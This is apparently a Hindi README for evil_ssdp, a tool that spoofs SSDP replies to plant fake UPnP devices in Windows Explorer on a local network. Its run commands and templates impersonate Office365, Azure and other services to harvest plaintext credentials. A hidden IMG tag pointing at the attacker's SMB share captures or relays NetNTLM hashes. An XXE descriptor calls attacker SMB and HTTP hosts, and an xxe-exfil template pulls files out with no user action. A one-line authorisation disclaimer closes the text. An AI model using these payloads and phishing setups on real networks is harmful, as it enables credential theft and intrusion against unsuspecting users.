
SSDP उत्तरों को स्पूफ करें और क्रेडेंशियल्स तथा NetNTLM चैलेंज/रेस्पॉन्स फिशिंग के लिए नकली UPnP डिवाइस बनाएं।
यह उपकरण SSDP मल्टीकास्ट डिस्कवर अनुरोधों का जवाब देता है, एक सामान्य UPNP उपकरण के रूप में प्रस्तुत होता है। आपका नकली उपकरण आपके स्थानीय नेटवर्क पर मौजूद मशीनों के विंडोज एक्सप्लोरर में जादुई रूप से दिखाई देगा। जो उपयोगकर्ता उपकरण को खोलने के लिए ललचाते हैं, उन्हें एक कॉन्फ़िगरेबल फ़िशिंग पेज दिखाया जाता है। यह पेज SMB पर एक छिपी छवि लोड कर सकता है, जिससे आप NetNTLM चैलेंज/रेस्पॉन्स को कैप्चर या रिले कर सकते हैं।
बेसिक प्रमाणीकरण और लॉगऑन फ़ॉर्म के माध्यम से सादा-टेक्स्ट क्रेडेंशियल्स कैप्चर करने के लिए टेम्पलेट भी प्रदान किए गए हैं, और अपने कस्टम टेम्पलेट बनाना त्वरित और आसान है।
इसके लिए किसी मौजूदा क्रेडेंशियल की आवश्यकता नहीं है और यह उन नेटवर्कों पर भी काम करता है जिन्होंने NETBIOS और LLMNR को अक्षम करके Responder हमलों से सुरक्षित कर लिया है। कोई भी ऑपरेटिंग सिस्टम या एप्लिकेशन जो SSDP/UPNP का उपयोग करता है, लक्षित किया जा सकता है, लेकिन वर्तमान अधिकांश शस्त्रीकरण विंडोज 10 पर लक्षित है।
एक बोनस के रूप में, यह उपकरण SSDP/UPNP का उपयोग करने वाले एप्लिकेशन के XML पार्सिंग इंजनों में संभावित शून्य-दिवस भेद्यता का पता लगा सकता है और उनका शोषण कर सकता है। यदि कोई संवेदनशील उपकरण पाया जाता है, तो यह UI में आपको सचेत करेगा और फिर XML एक्सटर्नल एंटिटी (XXE) हमले के माध्यम से किसी उपयोगकर्ता क्रिया की आवश्यकता के बिना आपकी SMB शेयर माउंट करेगा या डेटा को बाहर निकालेगा।
सबसे बुनियादी रन इस प्रकार है:
evil_ssdp.py eth0
आपको कम से कम नेटवर्क इंटरफ़ेस प्रदान करना होगा। इंटरफ़ेस का उपयोग UDP SSDP इंटरैक्शन और XML फ़ाइलों और फ़िशिंग पेज के लिए वेब सर्वर होस्ट करने दोनों के लिए किया जाता है।
उपकरण आपके द्वारा प्रदान किए गए इंटरफ़ेस के IP का उपयोग करके फ़िशिंग पेज में एक IMG टैग स्वचालित रूप से अपडेट करेगा। चैलेंज/रेस्पॉन्स के साथ काम करने के लिए, आपको उस इंटरफ़ेस पर एक SMB सर्वर (जैसे Impacket) लॉन्च करना होगा। इस पते को -s विकल्प से अनुकूलित किया जा सकता है।
कुछ उदाहरण परिदृश्य:
# NetNTLM कैप्चर करने और नकली Office365 लॉगऑन फ़ॉर्म के माध्यम से
# सादा-टेक्स्ट माँगने के लिए wlan0 का उपयोग करें। क्रेडेंशियल कैप्चर करने के
# बाद Microsoft पर रीडायरेक्ट करें:
evil_ssdp.py wlan0 -t office365 -u 'https://office.microsoft.com'
# उपरोक्त जैसा, लेकिन मान लें कि आपका SMB सर्वर दूसरे IP पर चल रहा है:
evil_ssdp.py wlan0 -t office365 -u 'https://office.microsoft.com' \
-s 192.168.1.205
# बेसिक ऑथ का उपयोग करके क्रेडेंशियल माँगें और Azure पर रीडायरेक्ट करें:
evil_ssdp.py wlan0 -t microsoft-azure -u \
'https://azure.microsoft.com/auth/signin/' -b
# XXE भेद्यता की आशा करें ताकि SMB पर NetNTLM कैप्चर कर सकें जबकि
# wlan0 पर Impacket/Responder चल रहा हो:
evil_ssdp.py wlan0 -t xxe-smb
पूर्ण उपयोग विवरण:
usage: evil_ssdp.py [-h] [-p PORT] [-t TEMPLATE] [-s SMB] [-b] [-r REALM]
[-u URL]
interface
positional arguments:
interface सुनने के लिए नेटवर्क इंटरफ़ेस।
optional arguments:
-h, --help यह सहायता संदेश दिखाएं और बाहर निकलें।
-p PORT, --port PORT HTTP सर्वर के लिए पोर्ट। डिफ़ॉल्ट 8888 है।
-t TEMPLATE, --template TEMPLATE
टेम्पलेट्स निर्देशिका में एक फ़ोल्डर का नाम। डिफ़ॉल्ट
"office365" है। यह उपयोग किए जाने वाले xml और फ़िशिंग
पृष्ठों का निर्धारण करेगा।
-s SMB, --smb SMB आपके SMB सर्वर का IP पता। डिफ़ॉल्ट प्रदान किए गए
"interface" के प्राथमिक पते पर है।
-b, --basic टेम्पलेट के लिए बेस64 प्रमाणीकरण सक्षम करें और
क्रेडेंशियल को लॉग फ़ाइल में लिखें।
-r REALM, --realm REALM
बेसिक ऑथ के माध्यम से लक्ष्य को प्रमाणीकरण के लिए
संकेत देते समय रियल्म।
-u URL, --url URL इस URL पर रीडायरेक्ट करें। उन टेम्पलेट के साथ काम
करता है जो लॉगऑन फ़ॉर्म के लिए POST करते हैं और उन
टेम्पलेट के साथ जो कस्टम रीडायरेक्ट JavaScript शामिल
करते हैं (अधिक जानकारी के लिए README देखें)।
[उदाहरण: -r https://google.com]
-a, --analyze विश्लेषण मोड में चलाएं। किसी भी SSDP क्वेरी का जवाब
नहीं देगा, लेकिन परीक्षण के लिए वेब सर्वर को सक्षम और
चलाएगा।
निम्नलिखित टेम्पलेट उपकरण के साथ आते हैं। यदि आपके पास अच्छे डिज़ाइन कौशल हैं, तो कृपया अपना एक टेम्पलेट योगदान करें!
office365: विंडोज एक्सप्लोरर में "Office365 Backups" के रूप में दिखाई देगा। Office365 लॉगऑन जैसा दिखने वाला फ़िशिंग पेज क्रेडेंशियल आपको POST करेगा। ये UI में चिह्नित किए जाएंगे और लॉग फ़ाइल में लॉग किए जाएंगे। क्रेडेंशियल चुराने के बाद उपयोगकर्ताओं को वैध साइट पर रीडायरेक्ट करने के लिए '-u https://www.office.com' के साथ चलाने की अनुशंसा की जाती है। डेवलपर: pentestgeek।scanner: विंडोज एक्सप्लोरर में "Corporate Scanner [3 NEW SCANS WAITING]" नाम के स्कैनर के रूप में दिखाई देगा। डबल-क्लिक करने पर एक सामान्य दिखने वाले लॉगऑन पेज पर ले जाएगा। यह टेम्पलेट आपके विशेष लक्ष्य के अनुसार अनुकूलन के साथ अच्छा काम करेगा। टेम्पलेट अधिकांशतः इस टेम्पलेट से कॉपी किया गया है।microsft-azure: विंडोज एक्सप्लोरर में "Microsoft Azure Storage" के रूप में दिखाई देगा। लैंडिंग पेज कुकी अक्षम होने पर Windows Live लॉगिन पेज है। उपयोगकर्ताओं को वास्तविक लॉगिन पेज पर रीडायरेक्ट करने के लिए -u विकल्प के साथ उपयोग करने की अनुशंसा की जाती है। डेवलपर: Dwight Hohnstein।bitcoin: विंडोज एक्सप्लोरर में "Bitcoin Wallet" के रूप में दिखाई देगा। फ़िशिंग पेज बिटकॉइन निजी/सार्वजनिक/पता जानकारी का एक यादृच्छिक सेट मात्र है। इन खातों में कोई वास्तविक धन नहीं है।password-vault: विंडोज एक्सप्लोरर में "IT Password Vault" के रूप में दिखाई देगा। फ़िशिंग पेज में नकली पासवर्ड / SSH कुंजियाँ आदि की एक छोटी सूची होती है।xxe-smb: विंडोज एक्सप्लोरर में दिखाई देने की संभावना नहीं है। XML पार्सर में शून्य-दिवस भेद्यता खोजने के लिए उपयोग किया जाता है। हिट्स के लिए UI में "XXE - VULN" अलर्ट ट्रिगर करेगा और 0 इंटरैक्शन के साथ क्लाइंट को SMB सर्वर से प्रमाणित करने के लिए बाध्य करने का प्रयास करेगा।अपने स्वयं के टेम्पलेट बनाना आसान है। बस किसी मौजूदा टेम्पलेट के फ़ोल्डर को कॉपी करें और निम्नलिखित फ़ाइलों को संपादित करें:
device.xml: यहाँ आप परिभाषित करेंगे कि उपकरण विंडोज एक्सप्लोरर के अंदर कैसा दिखता है।present.html: यह फ़िशिंग पेज है जो तब प्रदर्शित होता है जब कोई लक्ष्य दुष्ट उपकरण खोलता है। यहाँ अपनी पसंद की कोई भी चीज़ तैयार करें। ध्यान दें कि पायथन का स्ट्रिंग टेम्पलेट इसे पार्स करेगा, इसलिए आपको टेम्पलेट इंजन से बचने के लिए $ के स्थान पर $$ का उपयोग करना होगा।service.xml: अभी तक लागू नहीं किया गया। भविष्य में अधिक जटिल UPNP स्पूफिंग के लिए आवश्यक हो सकता है।अपने फ़िशिंग पेज (present.html) में, अतिरिक्त कार्यक्षमता के लिए निम्नलिखित चर का उपयोग करें:
# निम्नलिखित पंक्ति आपके द्वारा प्रदान किए गए इंटरफ़ेस या वैकल्पिक रूप से
# निर्दिष्ट IP पते के IP पते का उपयोग करके NetNTLM चैलेंज/रेस्पॉन्स आरंभ करेगी:
<img src="file://///$smb_server/smb/hash.jpg" style="display: none;" />
# निम्नलिखित वैकल्पिक रूप से निर्दिष्ट URL रीडायरेक्शन का लाभ उठाएगा। यह
# बेसिक प्रमाणीकरण के साथ उपयोग किए जाने पर एक मान्य साइट पर रीडायरेक्ट करने
# के लिए उपयोगी है। यह पंक्ति microsoft-azure टेम्पलेट में निर्मित है:
<script>
var url = "$redirectUrl";
if (url != "") {
document.location = url;
}
</script>
# यदि सादा-टेक्स्ट क्रेडेंशियल कैप्चर करने के लिए HTTP फ़ॉर्म का उपयोग कर
# रहे हैं, तो निम्नलिखित कोड का उपयोग करें। साथ ही, कोई भी टेम्पलेट जो POST
# अनुरोध करता है, स्वचालित रूप से POST पूर्ण होने के बाद रीडायरेक्ट करने के
# लिए '-u' पैरामीटर का समर्थन करेगा। उपकरण क्रेडेंशियल के लिए इस URL पर POST
# की निगरानी करेगा:
<form method="POST" action="/ssdp/do_login.html" name="LoginForm">
उपकरण वर्तमान में केवल UPNP 'Basic' उपकरण प्रकार के लिए सही ढंग से उपकरण बनाता है, हालाँकि यह सभी उपकरण प्रकारों के SSDP क्वेरी का जवाब देता है। यदि आप UPNP को अच्छी तरह से जानते हैं, तो आप अन्य उपकरण प्रकारों के अनुरोधों को पूरा करने के लिए सही पैरामीटर के साथ एक नया टेम्पलेट बना सकते हैं। विशिष्ट अनुप्रयोगों और वे जिस तरह से UPNP उपकरणों की अपेक्षा और उपयोग करते हैं, उसका शोषण करने के लिए अभी भी बहुत कुछ खोजा जाना है।
सिंपल सर्विस डिस्कवरी प्रोटोकॉल (SSDP) का उपयोग ऑपरेटिंग सिस्टम (विंडोज, मैकओएस, लिनक्स, आईओएस, एंड्रॉइड, आदि) और एप्लिकेशन (स्पॉटिफाई, यूट्यूब, आदि) द्वारा स्थानीय नेटवर्क पर साझा उपकरणों की खोज के लिए किया जाता है। यह यूनिवर्सल प्लग एंड प्ले (UPNP) उपकरणों की खोज और विज्ञापन की नींव है।
साझा नेटवर्क संसाधनों की खोज करने का प्रयास करने वाले उपकरण पोर्ट 1900 पर 239.255.255.250 को एक UDP मल्टीकास्ट भेजेंगे। स्रोत पोर्ट यादृच्छिक होता है। एक उदाहरण अनुरोध इस प्रकार दिखता है:
M-SEARCH * HTTP/1.1
Host: 239.255.255.250:1900
ST: upnp:rootdevice
Man: "ssdp:discover"
MX: 3
इस होस्ट के साथ इंटरैक्ट करने के लिए, हमें स्रोत पोर्ट और 'ST' (सर्विस टाइप) हेडर दोनों को कैप्चर करने की आवश्यकता है। प्रतिक्रिया सही स्रोत पोर्ट पर भेजी जानी चाहिए और इसमें सही ST हेडर शामिल होना चाहिए। ध्यान दें कि केवल विंडोज ओएस ही उपकरणों की तलाश नहीं कर रहा है - एक सामान्य नेटवर्क को स्कैन करने पर ओएस के अंदर के एप्लिकेशन (जैसे स्पॉटिफाई), मोबाइल फोन और अन्य मीडिया उपकरणों से बड़ी संख्या में अनुरोध दिखाई देंगे। विंडोज केवल तभी प्रतिक्रिया देगा जब आप सही ST के साथ उत्तर देंगे, अन्य स्रोत अधिक उदार हैं।
evil_ssdp अनुरोधित ST निकालेगा और निम्नलिखित जैसा एक उत्तर भेजेगा:
HTTP/1.1 200 OK
CACHE-CONTROL: max-age=1800
DATE: Tue, 16 Oct 2018 20:17:12 GMT
EXT:
LOCATION: http://192.168.1.214:8888/ssdp/device-desc.xml
OPT: "http://schemas.upnp.org/upnp/1/0/"; ns=01
01-NLS: uuid:7f7cc7e1-b631-86f0-ebb2-3f4504b58f5c
SERVER: UPnP/1.0
ST: upnp:rootdevice
USN: uuid:7f7cc7e1-b631-86f0-ebb2-3f4504b58f5c::upnp:rootdevice
BOOTID.UPNP.ORG: 0
CONFIGID.UPNP.ORG: 1
हेडर (विशेष रूप से LOCATION, 01-NLS, ST और USN) गतिशील रूप से निर्मित होते हैं। यह अनुरोधकर्ता को बताता है कि हमारे उपकरण के बारे में अधिक जानकारी कहाँ प्राप्त करें। यहाँ, हम विंडोज (और अन्य अनुरोधकर्ताओं) को हमारे 'डिवाइस डिस्क्रिप्टर' XML फ़ाइल तक पहुँचने और इसे पार्स करने के लिए मजबूर कर रहे हैं। USN सिर्फ एक यादृच्छिक स्ट्रिंग है और इसे केवल अद्वितीय और उचित रूप से स्वरूपित होने की आवश्यकता है।
evil_ssdp चुने गए टेम्पलेट फ़ोल्डर से 'device.xml' फ़ाइल खींचेगा और आपके IP पते जैसे कुछ चर को गतिशील रूप से प्लग करेगा। यह 'डिवाइस डिस्क्रिप्टर' फ़ाइल वह जगह है जहाँ आप कुछ आकर्षक-लगने वाले अनुकूल नाम और विवरण अनुकूलित कर सकते हैं। यह इस प्रकार दिखता है:
<?xml version="1.0"?>
<root xmlns="urn:schemas-upnp-org:device-1-0">
<specVersion>
<major>1</major>
<minor>0</minor>
</specVersion>
<URLBase>http://$local_ip:$local_port</URLBase>
<device>
<presentationURL>http://$local_ip:$local_port/present.html</presentationURL>
<deviceType>urn:schemas-upnp-org:device:Basic:1</deviceType>
<friendlyName>Office365 Backups</friendlyName>
<modelDescription>Secure Storage for Office365</modelDescription>
<manufacturer>MS Office</manufacturer>
<modelName>Office 365 Backups</modelName>
<UDN>$session_usn</UDN>
<serviceList>
<service>
<serviceType>urn:schemas-upnp-org:device:Basic:1</serviceType>
<serviceId>urn:schemas-upnp-org:device:Basic</serviceId>
<controlURL>/ssdp/service-desc.xml</controlURL>
<eventSubURL>/ssdp/service-desc.xml</eventSubURL>
<SCPDURL>/ssdp/service-desc.xml</SCPDURL>
</service>
</serviceList>
</device>
</root>
इस फ़ाइल में एक महत्वपूर्ण पंक्ति में 'प्रेजेंटेशन URL' होता है। यह वही है जो उपयोगकर्ता के ब्राउज़र में लोड होगा यदि वे UPNP उपकरण पर मैन्युअल रूप से डबल-क्लिक करने का निर्णय लेते हैं। evil_ssdp इस फ़ाइल (चुने गए टेम्पलेट फ़ोल्डर से present.html) को स्वचालित रूप से होस्ट करेगा, आपके स्रोत IP पते को एक IMG टैग में प्लग करके एक SMB शेयर तक पहुँचने के लिए, जिसे आप Impacket, Responder, या Metasploit जैसे उपकरणों से होस्ट कर सकते हैं।
IMG टैग इस प्रकार दिखता है:
<img src="file://///$local_ip/smb/hash.jpg" style="display: none;" /><br>
डिफ़ॉल्ट रूप से, यह उपकरण अनिवार्य रूप से नेटवर्क पर उपकरणों को एक XML फ़ाइल पार्स करने के लिए बाध्य करता है। XML को पार्स करने वाले अनुप्रयोगों के विरुद्ध एक प्रसिद्ध हमला मौजूद है - XML एक्सटर्नल एंटिटी प्रोसेसिंग (XXE)।
UPNP उपकरणों के विरुद्ध इस प्रकार का हमला संभवतः अनदेखा किया जाता है - सिर्फ इसलिए कि हमले की विधि जटिल है और स्पष्ट नहीं है। हालाँकि, evil_ssdp आपके नेटवर्क पर संवेदनशील उपकरणों का परीक्षण करना बहुत आसान बनाता है। बस उपकरण चलाएँ और आउटपुट में एक बड़ा [XXE VULN!!!] देखें। नोट: xxe टेम्पलेट का उपयोग करने से LAN पर दृश्य दुष्ट उपकरण उत्पन्न होने की संभावना नहीं है, यह केवल शून्य-इंटरैक्शन परिदृश्यों के लिए अभिप्रेत है।
यह निम्नलिखित सामग्री वाली एक डिवाइस डिस्क्रिप्टर XML फ़ाइल प्रदान करके पूरा किया जाता है:
<?xml version="1.0"?>
<!DOCTYPE data [
<!ENTITY xxe SYSTEM "file://///$smb_server/smb/hash.jpg" >
<!ENTITY xxe-url SYSTEM "http://$local_ip:$local_port/ssdp/xxe.html" >
]>
<data>&xxe;&xxe-url;</data>
जब कोई संवेदनशील XML पार्सर इस फ़ाइल को पढ़ता है, तो यह स्वचालित रूप से SMB शेयर माउंट करेगा (जिससे हैश को क्रैक या रिले किया जा सके) और साथ ही एक HTTP URL तक पहुँच कर आपको सूचित करेगा कि यह खोजा गया था। सूचना में HTTP हेडर और एक IP पता शामिल होगा, जो आपको संवेदनशील एप्लिकेशन के बारे में कुछ जानकारी देनी चाहिए। यदि आप यह देखते हैं, तो कृपया समस्या को ठीक करने के लिए विक्रेता से संपर्क करें। साथ ही, मुझे उपकरण का उपयोग करके मिली किसी भी शून्य-दिवस के बारे में सुनना अच्छा लगेगा। और कृपया अपने CVE में उपकरण का उल्लेख करें।
साथ ही माइक्रोसॉफ्ट को खेलने के लिए बहुत सारी मजेदार असुरक्षित चीजें विकसित करने के लिए धन्यवाद।
यह एक सुरक्षा अनुसंधान उपकरण है। केवल वहीं उपयोग करें जहाँ नेटवर्क स्वामी से स्पष्ट अनुमति प्राप्त हो।
xxe-exfil: XXE भेद्यता खोजने का एक और उदाहरण, लेकिन इस बार विंडोज होस्ट से एक परीक्षण फ़ाइल को बाहर निकालने का प्रयास करता है। बेशक आप इसे अपने लक्ष्य के किसी विशिष्ट फ़ाइल के लिए अनुकूलित कर सकते हैं, चाहे वह विंडोज हो या लिनक्स। मैंने जिन संवेदनशील अनुप्रयोगों की खोज की है, उनमें एक्सफ़िलट्रेशन केवल उस फ़ाइल पर काम करता है जिसमें कोई सफेद स्थान या लाइन ब्रेक न हो। यह इसलिए है क्योंकि इसे GET अनुरोध के URL में कैसे इंजेक्ट किया जाता है। यदि आप इसे बहु-पंक्ति फ़ाइलों पर काम करवाते हैं, तो कृपया मुझे बताएं कि आपने यह कैसे किया।